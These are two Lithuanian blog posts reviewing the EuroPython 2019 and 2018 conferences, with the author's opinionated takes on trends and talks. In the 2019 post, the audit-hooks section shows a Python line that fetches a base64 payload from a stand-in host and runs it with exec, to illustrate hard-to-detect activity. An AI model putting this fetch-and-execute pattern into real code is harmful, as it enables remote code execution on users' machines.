2019 m. rugsėjo 11 d.

EuroPython 2019 apžvalga

Aš vėl buvau EuroPython konferencijoje. Šiemet ji vyko Bazelyje. Miestas iš valstybės, kuri brangi, kaip Šveicariškas laikrodis (BigMac'o indeksu Lietuvą lenkia daugiau nei du kartus). Gal dėl to pačioje konferencijoje visko gastronomijos atžvilgiu buvo su saiku. Jokių didelių furšetų ir ekologiškų limonadų iš draftinių limodanų šulinių. Pietums gavome kiaušinienės. Kitą kartą makaronų. Ir kartais, bet tik atstovėjus eilėje, pavaišindavo kava.

Kas ekonominio burbulo riebiausiame taške bujojantiems programuotojams, be visa ko įpratusiems prie sėdmaišių ir koorporatyvinių jogos treniruočių su Radistais, galėjo pasirodyti labai asketiška.

Bet aš į tą konferenciją važiuoju ne paėst, o pagert. Ne, ne. Juokaunu. Aš ten važiuoju gauti įkvėpimo; pajust kur link pučia Python (ir bendrai IT) ekosistemos vėjai; ir jeigu pasiseks išmokti kažko naujo.

Pradėsiu nuo 4 įžvalgų ir toliau pereisiu prie išklausytų pranešimų apžvalgos. Kaip visada viską iliustruos piešinukai iš mano konspektų.

(Pastaba: EuroPython dar neįkėlė visų video įrašų, tai aš negaliu čia įdėti nuorodų)


Bendros įžvalgos


Python tampa labai sudėtinga kalba


https://python.org puslapio:
Quick & Easy to Learn

Experienced programmers in any other language can pick up Python very quickly, and beginners find the clean syntax and indentation structure easy to learn
Čia net nežinau, ar šios konferencijos pastebėjimas, ar iš lėto brendusi mintis. Ar tas, kad po kelių metų pertraukos vėl nemažai laiko skiriu kitų programavimo kalbų mokymuisi.

Bet Python nėra nei lengva, nei švari, nei lengvai įsisavinama. Taip sutinku, kad parašyti:
def say_hello():
    print("Hello World")

say_hello()
yra labai lengva. Ir atrodo paprastai ir elegantiškai. Nu ir lengvai. Bet, ar kas žmogų praleistų per Python įdarbinimo techninį interviu, jeigu jis/ji mokės tik paprastus ir elegantiškus Python'o konstruktus.

Oij ne. Kalboje atsiranda vis daugiau ir daugiau naujos sintaksės, kuri dažniausiai būna skirta nišiniams naudojimo atvejams. Prieš kokius 5~7 metus aš būčiau sutikęs, kad Python yra viena tinkamiausių programavimo kalbų dėstyti mokykloje, dabar net nežinau.

Kita vertus, Python tampa viena populiariausių programavimo kalbų pasaulyje. Tai reiškiasi, kad žmonės vis dar ją sugeba išmokti.

Truputuką padailintis "Sveikas, Pasauli" pavyzdys:
import asyncio

async def say_hello(*, name: str) -> None:
    """
    >>> asyncio.run(say_hello("World"))
    Traceback (most recent call last):
        ...
    TypeError: say_hello() takes 0 positional arguments but 1 was given
    >>> asyncio.run(say_hello(name="World"))
    Hello World
    """
    print(f"Hello {name}")

asyncio.run(say_hello(name="World"))

Duomenų mokslo įsigalėjimas


Kažkada EuroPython konferencijose duomenų mokslui, kaip išmalda, būdavo duodama kažkiek laiko ir patalpų. Dabar atrodo, kad niekas nieko kito nedaro tik naudoja Python'ą duomenų mokslui (su AI, ML ir visais kitais skambiais sutrumpinimais (kitaip sakant tiesiog tiesinę regresiją praleidžia per kažkokius duomenis)).

WEB'o beveik nulis. Kompiuterinės grafiko beveik nulis. Netgi DevOps'ų visi pranešimai apie tai, kaip jie pakūrė IT fabrikėlį eilinei (tuoj, tuoj pasaulį išgelbėsiančiai) duomenų kasybos (data mining) kontorėlei.

Meilė Rust pakeitė meilę Go


Prieš 3~4 metus konferencijoje labai jautėsi meilė Go. Vis būdavo po vieną kitą pranešimą per dieną apie tai, kaip Python ir Go draugauja. Arba kodėl reikia naudoti Go, o ne Python. O ir vakare prie alaus vis atsirasdavo koks vienas kitas programuotojas, besuokiantis meilės serenadas Go programavimo kalbai.

Meilė truko tris metus ir šiemet niekam jau nebeįdomu. Dabar yra nauja Dulsinėja. Rust programavimo kalba.

O jau kokia faina. O jau kokia greita. O jau kaip rekomenduotina optimizuoti lėtus modulius su Rust, o ne su C. Vaje, vaje.

Didžiąją dalį Rust kalbos mylėtojų sudaro žmonės, neseniai atradę Rust programavimą kalbą. Juos galima palyginti su neseniai atsivertusiais į veganizmą. Nes Rust yra programavimo kalbų veganas.

Nors ne. Geresnis pavyzdys būtų žmonės, neseniai pradėjo sportuoti. Jie netveria savyje ir pasakoja visiems, kaip jie sportuoja, kaip pagerėjo jų savijauta, kaip iš vis svarbu visiems žmonėms sportuoti, ir kad nėra jau taip sunku atrasti laiko sau. Ypač mėgsta seniai sportuojanties aiškinti, kad jie netaip sportuoja, ar kad per mažai sportuoja, ar dar ką nors. Visi žino, kad jie mes tą savo sportą už maksimum vieno mėnesio. Nu bet tą mėnesį reikės atkentėti.

Nebėra Async IO


Beveik niekas nekalba apie AsyncIO. Dar praeitais metais buvo šurmulys. O šiais, pyst, ir nieko. AsyncIO yra viena iš tų nišinio panaudojimo Python sintaksės papildymų, kurie komplikuoja Python programavimo kalbos sintaksę. (Jau nekalbant apie nesuderinimą su standartine biblioteka) ir be kurių laisvai būtų galima gyventi (ką įrodo Twisted biblioteka).

Bet duomenų mokslas beveik nenaudoja AsyncIO. Ir tos srities dominavimas lemia, kad procentaliai AsyncIO nėra niekam įdomu. Nes realiai nelabai kam ir buvo. Nes realiai nelabai kam ir reikėjo.

Tai mano prognozė yra ta, kad AsyncIO kaip ir mirs. Tiksliau ji niekad pilnai nemirs. Bet merdės ir nieko ten įdomaus nevyks.

(Beje, vienam iš panašių įrašų aš esu prognozavęs, kad Django mirs...)


Išklausytos kalbos


Getting Your Data Joie De Vivre Back!

https://www.youtube.com/watch?v=uF2GhMAaQOQ

Žymi programuotoja papasakojo, ką ji įdomaus nuveikė, kai nedirbo prie rimtų projektų. Pristatė kelis savo namudinius pasižaidimo projektus. Visi jie maždaug apie meną + duomenų mokslą.

Visai gerai susiklausė. Tokia legvasvorė, bet man buvo įdomu.

https://en.wikipedia.org/wiki/The_Garden_of_Earthly_Delights

Auditing hooks and security transparency for CPython

https://www.youtube.com/watch?v=NMaWiUQitrY

Čia pasakojo apie PEP 551. Tas PEP'as yra apie saugumo žurnalo raštvedybos kilpas (audit hooks (specialiai išsidirbinėju su lietuvišku vertimu. Iš tikro tai norėčiau atrasti trumpą, bet skambų atitikmenį, bet nerandu)). Ir kaip Python'as planuoja ateityje leisti visiems norintiems pamatyti, kas vyksta viduje ganėtinai žemame lygmenyje.

Visa idėja paremta prielaida, kad nei vienos sistemos saugumo užtikrinti vis tiek nepavyks. Dėl to reikia kiek galima daugiau matyti, kas vyksta.

Ir jeigu sistemoje yra paleistas Python'o procesas, tai pamatyti tokį vat įvykį yra daug sunkiau, nei kad paskirai paleidžiamą, tarkim, `curl` procesą.

exec(
    base64.b64decode(
        urllib.request.urlopen('http://not-a-exploit.very-legit.com/py.b64')
    ).decode()
)
Šitas PEP'as leis prikabinėti kur tik nori visokių įvykių klausytojų.

Pats pranešimas yra labai techniškas. Ir, deja, ne toks įdomus, kaip pačio PEP'o skaitymas.

https://www.python.org/dev/peps/pep-0578/

Understanding how a malware works using Python

https://ep2019.europython.eu/talks/TzNDkKW-understanding-how-a-malware-works-using-python/

Pats kalbėtojas nepasirodė. Tai pranešimas buvo atšauktas. Dar spėjau po to nueiti į vidurį pranešimo apie IPython. Nu nieko įdomaus tas IPython. Nebent nežinau, kad toks yra. Tada labai įdomu (kad "kaip aš galėjau be jo gyventi").

Python for realtime audio processing in a live music context

https://www.youtube.com/watch?v=IdsrZYZ0TI0

Kažkokia grupė groja klasikiniais instrumentais ir naudoja programuojamus... Eeeeee... Hmmmmmm... Adapterius, kontrolerius, sintezatorius ar ten dar kažką koncerto metu gyvai keisti garsus. Nu ten kur koncertuose pasako "Aaaa" tada suspaudo kažką kojomis ir kažkos kompiuteriukas ritmiškai sako "Aaaa", "Aaaa", "Aaaa". Atsiprašau už nemoksliškumą, bet aš tik tiek apie muziką besigaudau.

Tai va, čia ir visa istorija. Yra kažkokia C biblioteka su Python sąsają, leidžiančia programuoti tuos kompiuteriukus. Tai jie pasirašę Python skriptų ir groja kažkokius psichodelinius klasikinės muzikos pypsėjimo blėnius.

Build your Python Extensions with Rust!

https://www.youtube.com/watch?v=FolV-xUD3Ko

Pavadinimas viską pasako. Įdomu bus tik tada, jeigu esate užsikrėtęs Rust virusu.

Writing a Python autoreloader

https://www.youtube.com/watch?v=IghyoR6ld60

Įdomus pasakojimas apie tai, kaip sunku pasirašyti automatinį bet kokios programos perkrovėją. O ypač Python'o. Nu nes labai lanksti programavavimo kalba.

Nors galiausiai Django turi greitesnį perkrovėją, bet autorius rekomenduoja visiems, kam prireiks panašaus funkcionalumą, naudoti Pylons hupper biblioteką.

https://github.com/Pylons/hupper
https://github.com/django/django/blob/master/django/utils/autoreload.py

Opt Out of Online Sexism – Open Source Activism

https://www.youtube.com/watch?v=Ov0scTjDVuQ

Labai daug optimizmo ir ambicijų turinti pranešėja su labai motyvuota komanda, stovinčia už jos, parašė naršyklės įskiepą, kuris paslepia keiksmažodžius Twitter'yje. Ta prasme:
document.body.innerHTML = document.body.innerHTML.replace("bybis", "*****");
Bet tuoj, tuoj jie išspręs blogio (pagal jų apibrėžimus) problemą internete ir tuoj internetas bus saugus visiems.

Static typing: beyond the basics of def foo(x: int) -> str:

https://ep2019.europython.eu/talks/LTm28H5-static-typing-beyond-the-basics-of-def-foox-int-str/

Nepaisant pavadinimo, čia buvo labai standartinis pranešimas apie Python'o tipų sistemą.

Why You Should Pursue Public Speaking and How to Get There

https://www.youtube.com/watch?v=a5WIMg5sunw

Pranešimas apie tai, kaip daryti pranešimus. Deja, bet geriausias patarimas būtų daryti atvirkščiai nei autorė darė savo pranešimo metu.

- Nereikia pranešimo metu paleisti 10~15 minučių ilgio video
- Nereikia kalbėti, kaip kad teletabiai savo laidoje kalbėjo kelių metų vaikams. Nebent konferencija skirta kelių metų vaikams

Lightning Talks


Vienintelė įdomi nuoroda iš visų mini pranešimų:
https://www.fuzzingbook.org/

Are women underrepresented in the High Performance Computing (HPC) community?

https://ep2019.europython.eu/talks/kaqWcyu-are-women-underrepresented-in-the-high-performance-computing-hpc-community/

Keista, bet buvo įdomus ir logiškas pranešimas. Be įprastinio "berniukai šlykštynės, o mergaitės visos nuostabių nuostabiausios" neratyvo.

Tiesa, iš publikos klausimų buvo galima nuspėti, kitaip nei pranešėja, publika yra daug rimčiau nusiteikusi ir nori raganių medžioklės.

Introduction to low-level profiling and tracing

https://ep2019.europython.eu/talks/es2pZ6C-introduction-to-low-level-profiling-and-tracing/

Pranešimas apie žemo lygmens sekimą ir profiliavimą Linux'e, truputį užkabinant Python'ą.

Tikrai techniškai sudėtingas pranešimas. Bet geras. Daug ko nesupratau. Bet geras. Reiks dar kartą peržiūrėti, kai video įkels.

How to write a JIT compiler in 30 minutes

https://ep2019.europython.eu/talks/S4nvhVb-how-to-write-a-jit-compiler-in-30-minutes/

Gyvo programavimo sesija apie tai, kaip pasirašyti žaislinį JIT kompiliatorių. Prenešimas naudingas, jeigu domina JIT pagrindų pagrindai.

Opening PyPy's magic black box

https://ep2019.europython.eu/talks/898p5T5-opening-pypys-magic-black-box/

Nelabai atsimenu, ką konkrečiai pasakojo. Tik atsimenu, kad minėjo, jog didžioji dalis energijos yra skiriama iš 2 į 3 migracijai ir async.io palaikymui. Kas liūdnoka, nes PyPy visada žaidžia besivejančio žaidimą. Ir dėl to automatiškai niekad nebus CPython pakaitalas.

GraphQL in Python

https://ep2019.europython.eu/talks/tgpqoNo-graphql-in-python/

Nieko įpatingo. Pristatė GraphQL ir kažkokią savo biblioteką.

Gamifying the study of algorithms

https://ep2019.europython.eu/talks/ydmw6o9-gamifying-the-study-of-algorithms/

Nesąmonė. Pranešimas apie tai, kaip save prisiversti mokintis algoritmų. Atsakymas: ogi skirti sau išgalvotų taškų. Nu tiesiog. Be jokio logikos.

The Dangers of Outsourcing Software Development

https://ep2019.europython.eu/talks/Pd2BspX-the-dangers-of-outsourcing-software-development/

Pranešimas ne iš techninės pusės, bet iš biznio pusės. Visai nieko.

Deploy Python to the cloud faster with Azure Serverless

https://ep2019.europython.eu/talks/xQo7aib-deploy-python-to-the-cloud-faster-with-azure-serverless/

Microsoft'as pristatė savo debesis.

AI in Contemporary Art

https://ep2019.europython.eu/talks/3yvWcoS-ai-in-contemporary-art/

Visiems kitiems, su kuriais kalbėjau, labai patiko šitas pranešimas. Jokio techniškumo. Tiesiog menas sukurtas naudojant AI. Modernus menas. Gal dėl to manęs ir neužkabino. Man nelabai svarbu, kaip kas buvo sukurta. Man svarbu ar gražu, ar ne. Nelabai ten man gražu buvo.

Python Performance: Past, Present and Future

https://ep2019.europython.eu/talks/HaEW7Ns-python-performance-past-present-and-future/

Šiaip pagal statusą pagrindinis dienos pranešimas, bet nu nieko neatsimenu. Turbūt nieko gero nepapasakojo.

The soul of the beast

https://ep2019.europython.eu/talks/ZJ7mNEK-the-soul-of-the-beast/

Geriausias visos konferencijos pranešimas. Apie Python sintaksę ir gramatiką. Tikrai rekomenduoju. Gaila, kad dar nėra video.

Software patterns for productive teams

https://ep2019.europython.eu/talks/JLPhtTB-software-patterns-for-productive-teams/

Apie komandų valdymą. Neįdomu man buvo.

Hack The CPython

https://ep2019.europython.eu/talks/C3We3Fp-hack-the-cpython/

Pranešimas turėjo būti labai įdomus. Bet buvo visai nesuprantamas. Pranešėjas labai jaudinosi ir nerišliai bet greitai burbėjo.

How to read (code)

https://ep2019.europython.eu/talks/3h8dSfy-how-to-read-code/

Daugiau ne apie skaitymą, o apie tai, kaip izoliuotai paleidinėti tik dalį kodo ir taip išsiaiškinti kaip jis veikia.

Google Cloud for Pythonistas

https://ep2019.europython.eu/talks/ZSVqSGX-google-cloud-for-pythonistas/

Toks pats pranešimas, kaip ir Microsoft'o pranešimas. Žodžiu, yra debesų.

The Story of Features Coming in Python 3.8 and Beyond

https://ep2019.europython.eu/talks/xkHBEaF-the-story-of-features-coming-in-python-38-and-beyond/

Truputį plačiau papasakojo apie 3.8 atnaujinimus. Kai kurie labai keisti ir anti-elegantiški.

2018 m. rugpjūčio 19 d.

Europython 2018 apžvalga

Asmeninė patirtis/Vieta


Šįkart Europython konferencija vyko Edinburge, saulėtoje Škotijoje. Aš Škotijoje gyvenime buvau tik 3 dienas ir per jas visas nuolat švietė saulė. Tai aš savo empiriniais bandymais įrodžiau, kad Škotija yra saulėta.

Konferencija po nežinau kiek metų pertraukos grįžo prie 3-jų pranešimų dienų formato. Man labiau patiko 5-ių dienų formatas. Tada konferencija jausdavosi daugiau kaip kita dimensija. Nei tai atostogos. Nu gal biški ir atostogos. Bet tikrai ne darbas ir ne biznis. Dabar jaučiasi labiau biznis.

Taigi tomis biznio dienomis klausiausi pranešimų, o vakarais ragaudavau šiaudais ir dūmu dvokiantį Škotišką viskį. Nes nu konferencijos esmė vyksta po konferencijos. Ir jeigu per konferencija jautiesi gerai išsimiegojęs, tai turbūt praleidinėji rytinius pranešimus.

Čia bus mano konferencijos apžvalga, palydėta piešinukais iš mano konspektų.



Keturi aspektai


Mypy ir tipų anotacijos


Jeigu praeitų metų konferencijoje pajutau, kad Async IO ir Python 3 ateina su visam. Tai šioje supratau kad tipų anotacijos gyvuos pitono pasaulyje. Net nežinau, kaip jaustis šiuo klausimu. Mano nuomone, jeigu nori stiprių tipų, tai Python yra blogas kalbos pasirinkimas. Bet industrija juda, kur jinai juda.

Technologijų evangelikų invazija


Kai kurie pranešimai yra per gerai paruošti. Bet biški apie nieką. Ir labai rišlūs (jokio įprastinio mikčiojimo). Bet paviršutiniški. Bet gražios skaidrės. Nors programuotojų spalvų suvokimas neturėtų to prileisti.

Ir tada pranešėjai prisistato, kas jie tokie ir kurioje kompanijoje jie dirba. Ir kokiose pareigose jie dirba. Tada paaiškėja, kad jie turi keistas pareigas. Dažniausiai žinomas ir įvardijamas kaip "technologijų evangelikų".

Tada supranti, kad jie yra profesionalūs konferencijų draugeliai. Tai yra, jiems mokami pinigai, kad jie būtų draugiški per konferencijas. Kad užmezginėtų pokalbius su tikrais programuotojais. Būtų jiems malonūs ir taip įtikintų tuos tikrus programuotojus pradėti dirbti toje kompanijoje arba naudotis jų kompanijos tikrų programuotojų kuriamomis technologijomis. Visą laiką. Jų toks darbas yra visam laikui.

Aš esu lopas programuotojas. Aš noriu bendrauti su kitais lopais programuotojais. Autentiškais. Nu bet pranešimai tikrai gražiai išlaižyti.

Nulis Blockchain


Šitas apie tai ko nebuvo. O gi nebuvo blockchain'ų. Praeitais metais pranešimų ta tema nebuvo daug. Bet visa konferencija visur pakampėse ūžė nuo tų visų bitcoin'ų. Šįkart nieko. Nulis. Niekas nieko niekur net neužsiminė.

Aij, tiesa vakare prie šiaudinio viskio vieną sutikau, kuris dirba su blockchain. Kai paklausiau, ar tiki technologija. Pasakė, kad ne, bet gerai moka šiuo metu (nepaklausiau, bet įtariu moka tai tikrais pinigais).

Taigi, praeitais metais turbūt buvo galima prognozuoti blockchain technologijų bumą (bet neprognozavau). O šiemet galima prognozuoti lėto merdėjimo pradžią.

Mikro servisai yra šešėlyje


Ne. Aš nesakau, kad mikro servisai miršta. Tikrai ne. Bet nebesijaučia to užsivedimo, kuris buvo prieš metus ar dvejus.

Daug panašiau, kad ta ekosistema stabilizavosi. Ir dingo tas prieš tai buvęs elitizmas. "Tavo architektūra ne mikro servisai?!!! O tu iš vis programuoti moki?!!!".

Dabar tarsi kas naudoja mikro servisus, o kas nenaudoja. Bet niekas jau nebesididžiuoja tuo. Mikro servisai įgavo fidget sukučių statusą. Namie kažkur stalčiuje vis dar yra. Bet savininkai nežino tiksliai kuriame. Ir jeigu žinotų, tai turbūt išmestų.

Perklausytos kalbos


Die Threads

https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=25m56s
David Beazley (pats geriausias Python pranešėjas pasaulyje) pristatė būdą kaip gijinis programavimas galėtų būti daug patogesnis ir paprastesnis, jeigu prasukti jį per Async IO.

Realiai tai jis pristatė tą darančią biblioteką. Tik viena bėdelė. Ta biblioteka dar nebaigta ir neaišku, ar bus baigta.
https://github.com/dabeaz/thredo

Labai rekomenduoju šitą pranešimą.

Asyncio in Python 3.7 and 3.8

https://www.youtube.com/watch?v=w-XECcIWnlQ&t=15m21s
Pagrindinis Async IO programuotojas pristatė Async IO istoriją ir dabarties (3.7) bei ateities (>3.8) naujoves.

Ir kažkodėl nuolat minėjo trio biblioteką. O tas "import trio" turi šansų tapti "import asyncio" pakaitalu. Panašiai kaip "import requests" daug dažniau sutinkamas vietoje "import urllib".
https://github.com/python-trio/trio

Postgres at any scale

https://www.youtube.com/watch?v=qRqDgJLM568&t=50m39s
Įdomus pranešimas. Su daug praktinių patarimų. Vienintelė bėda, kad a nei kaip nesusijęs su Python. Totaliai PostgreSQL.

Let’s Build a Python Profiler in 25 LOC

https://www.youtube.com/watch?v=qRqDgJLM568&t=1h33m32s
Įdomus pranešimas. Kaip pasirašyti kokį tik nori Python profiliavimo įrankį naudojantis pačio Python įrankiais. https://docs.python.org/3/library/sys.html#sys.setprofile
https://docs.python.org/3/library/sys.html#sys.settrace
https://docs.python.org/3/library/atexit.html#module-atexit

Paskutinė nuoroda nelabai susijusi. Bet čia toks kietas Python modulis, kuris leidžia priregistruoti funkciją, kuri visada išsikviečia prieš programai baigiant darbą.
import atexit
atexit.register(my_callback)

Fuzzy Matching - Smart Way of Finding Similar Names Using Fuzzywuzzy

https://www.youtube.com/watch?v=XRKPOtbU6UE&t=3h27m12s
Nieko gero.

What's new in Python 3.7

https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=5h25m19s
Įdomi tema. Neįdomus pranešimas.

Geriau jau perskaityti šitą https://docs.python.org/3/whatsnew/3.7.html.

Quantum Computing: a Very Gentle Glimpse into a Possible Future

https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=6h20m21s
Įdomus pranešimas. Neturintis nieko bendra su Python. Bet įdomus.

Python, Docker, Kubernetes, and beyond?

https://www.youtube.com/watch?v=w-XECcIWnlQ&t=5h40m44s
Kam o kam aš nuėjau į šitą pranešimą. Žiauriai nuobodi tema.

White Mars: living far away from any form of life

https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=8h35m10s
Realiai tai apie Antarktiką, o ne apie marsą. Čia buvo teletiltas su Antarktika. Ir jie ten naudoja Python kai kam.

Lightning talks

https://www.youtube.com/watch?v=FsvmT2Ir7B8&t=8h35m10s
Nieko įdomaus nebuvo paminėta.

PyPI: Past, Present and Future

https://www.youtube.com/watch?v=Rps9lHflkCg&t=31m35s
Nežinau, ar pastebėjote, bet PyPi dabar yra nebe https://pypi.python.org/ adresu, o https://pypi.org/. Tai va apie tai buvo šitas pranešimas.

When to use Machine Learning: Tips, Tricks and Warnings

https://www.youtube.com/watch?v=nDY82RGU2Xk&t=16m22s
Tokia reklaminė ML kalba. Nieko nematyto, bet parodymas, kaip paprastas žmogus gali taip iš niekur ką nors gražaus sugeneruoti naudojant ML.

EuroPython 2018 Hello to the World in 8 Web Frameworks (micro, batteries included & async)

https://www.youtube.com/watch?v=8E0VDH_UKuA&t=1h2m39s
Tadam. Evangeliko kalba. 8-i "hello world" pavyzdžiai.

Code Review Skills for Pythonistas

https://www.youtube.com/watch?v=8E0VDH_UKuA&t=1h51m33s
Evangelikė papasakojo pranešimą. Šitas visai geras net nepaisant, kad evangelikės.

Ir kažkodėl užrodė gerą įrankį rasti nebenaudojamą kodą: https://pypi.org/project/vulture/.

Debugging Your Code with Data Visualization

https://www.youtube.com/watch?v=nDY82RGU2Xk&t=3h45m12s
Parodė, kad ieškant klaidų ar šiaip aiškinantis kodo veikimo įpatumus galima naudoti įdomesnius įrankius, o ne tik "print" funkciją.

More Than You Ever Wanted To Know About Python Functions

https://www.youtube.com/watch?v=Rps9lHflkCg&t=5h48m39s
Turėjau į šitą nueiti, nes aprašymas skambėjo beveik tapačiai mano PyCon LT darytam pranešimui (https://www.youtube.com/watch?v=rpSwuaniIT0&%3Ft=1h36m54s). Šitas paprastutis ir nieko nei sunkiai virškinamo neparodantis. Nu nes evangeliko.

Type annotations with larger codebases

https://www.youtube.com/watch?v=QNUjpdpAOac&t=5h13m22s
Yelp naudoja tipų anotacijas. Šiaip pranešimas nėra bazinis, kaip galima buvo tikėtis, o vietoje to ganėtinai įdomus. Papasakoja daugiau apkasų istorijų, o ne "va kaip rašyti anotacijas. Ir va skaičius plius raidės, o nuostabusis statinis tikrintojas pagauna klaidą. Vai, vai, vai.".

https://pyre-check.org/
http://mypy-lang.org/

Succinct data structures for python

https://www.youtube.com/watch?v=nDY82RGU2Xk&t=5h46m16s
Totaliai geek'o pranešimas apie kažkokią nišinę kietą biblioteką, kurią jis parašė. Šiaip turbūt gera ir naudinga biblioteka. Bet nuobodi sritis. Šiaip kaip kokį unrar pristatinėti.

https://github.com/ah-/pysdsl

How to Ignore Most Startup Advice and Build a Decent Software Business

https://www.youtube.com/watch?v=Rps9lHflkCg&t=8h
Truputį prasčiau papasakota tai, ką DHH jau kuris laikas pasakoja reklamuodamas savo naują knygą.

https://medium.com/@dhh
https://basecamp.com/books/calm

Why Python is at the heart of Smarkets

https://www.youtube.com/watch?v=Rps9lHflkCg&t=8h44m1s
Rėmėjai papasakojo, kodėl jie kieti. Kadangi davė konferencijai daug pinigų, tai tegul pasakoja.

Lightning talks

https://www.youtube.com/watch?v=Rps9lHflkCg&t=9h1m3s
Yra toks modulis "decorator", kuris padeda išsaugoti dekoruojamos funkcijos parašą.
https://pypi.org/project/decorator/

Citizen Science with Python

https://www.youtube.com/watch?v=7uSjCp1wOrw&t=27m13s
Įdomu. Nelabai daug Python.

EduBlocks - Making the transition to Python easier!

https://www.youtube.com/watch?v=7uSjCp1wOrw&t=1h41m35s
Čia buvo geras. Kažkoks 12-tis pristatinėjo savo aplikaciją, kurią pats sukūrė ir kurią realiai naudoja Britanijos mokyklos mokinant informatikos. Ir pristatymas nebuvo "o aš čia toks mažas vaikeliukas. Čia kažką biški parašiau. He, he. Kaip drovu man čia ant scenos kalbėti.".

Ne. Kalbėjo kaip koks kilmingas britas, kai dar Britanija buvo imperija. Užtikrintai, tiksliai ir svarbiausia įdomiai.

https://edublocks.org/

Get Productive with Python in Visual Studio Code

https://www.youtube.com/watch?v=7uSjCp1wOrw&t=2h31m17s
Pristatė Visual Studio Code galimybes dirbant su Python. Šiaip panašu, kad geras įrankis. Turbūt menkai nusileidžiantis PyCharm. Jeigu nusileidžiantis. Iš kur man žinoti -- aš tai Vim naudoju. He, he. Kaip drovu čia man viešai rašyti.

Exploring the Python AST Ecosystem

https://www.youtube.com/watch?v=4Wr31kp6Hgg&t=1h41m58s
Gerai paruoštas ir technitškai gilus pranešimas. Apie tai kaip naudoti pitono abstrakčius kodo medžius, kad gauti sau naudos (pvz.: statiškai validuojant kažkokią specialią biznio logiką).

Vienas geresnių konferencijos pranešimų. Rekomenduoju.

Trust me, I'm a Data Scientist - ethics for builders of data-based applications

https://www.youtube.com/watch?v=x5tcYO-SVnc&t=3h32m45s
Kažkokia pieva.

Lies, damned lies, and statistics

https://www.youtube.com/watch?v=x5tcYO-SVnc&t=4h6m51s
Geras pranešimas apie statistikos netinkamą naudojimą. Nelabai susijęs su Python. Bet geras.

Domain-Driven Design Patterns in Python

https://www.youtube.com/watch?v=SnlIqq-7XKU&t=4h59m41s
Lyg ir įdomus buvo. Lyg ir naudingas. Bet dabar nieko nebeatsimenu. Gal dėl to, kad paskutinis konferencijos pranešimas ir jau po biški trūkinėjo ryšys galvoje.

Lightning Talks

https://www.youtube.com/watch?v=7uSjCp1wOrw&t=8h28m43s
https://github.com/ambv/black